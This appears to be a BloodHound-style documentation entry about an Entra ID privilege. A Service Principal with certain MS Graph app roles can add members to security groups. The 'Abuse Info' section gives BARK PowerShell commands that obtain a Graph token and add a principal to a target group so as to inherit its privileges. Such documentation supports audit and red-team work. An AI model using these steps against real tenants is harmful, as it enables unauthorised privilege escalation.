This edge is created during post-processing. It is created against non-role assignable Entra ID security groups when a Service Principal has one of the following MS Graph app role assignments:
- Directory.ReadWrite.All
- Group.ReadWrite.All
- GroupMember.ReadWrite.All
It is created against all Entra ID security groups, including those that are role assignable, when a Service Principal has the following MS Graph app role:
- RoleManagement.ReadWrite.Directory
You will not see this privilege when using the Azure portal or any other Microsoft tooling. If you audit the roles and administrators affecting any particular Entra ID security group, you will not see that the Service Principal can add members to the group, but it indeed can because of the parallel access management system used by MS Graph.
Abuse Info
You can abuse this privilege using BARK’s Add-AZMemberToGroup function.
This function requires you to supply an MS Graph-scoped JWT associated with the Service Principal that has the privilege to add principal to the target group. There are several ways to acquire a JWT. For example, you may use BARK’s Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT by supplying a Service Principal Client ID and secret:
$MGToken = Get-MSGraphTokenWithClientCredentials `
-ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `
-ClientSecret "asdf..." `
-TenantName "contoso.onmicrosoft.com"
Then use BARK’s Add-AZMemberToGroup function to add a new principial to the target group:
Add-AZMemberToGroup `
-PrincipalID = "028362ca-90ae-41f2-ae9f-1a678cc17391" `
-TargetGroupId "b9801b7a-fcec-44e2-a21b-86cb7ec718e4" `
-Token $MGToken.access_token
Then, you can re-authenticate as the principal you just added to the group and continue your attack path, now having whatever privileges the target group has.
Opsec Considerations
The Azure activity log for the tenant will log who added what principal to what group, including the date and time.
References
Updated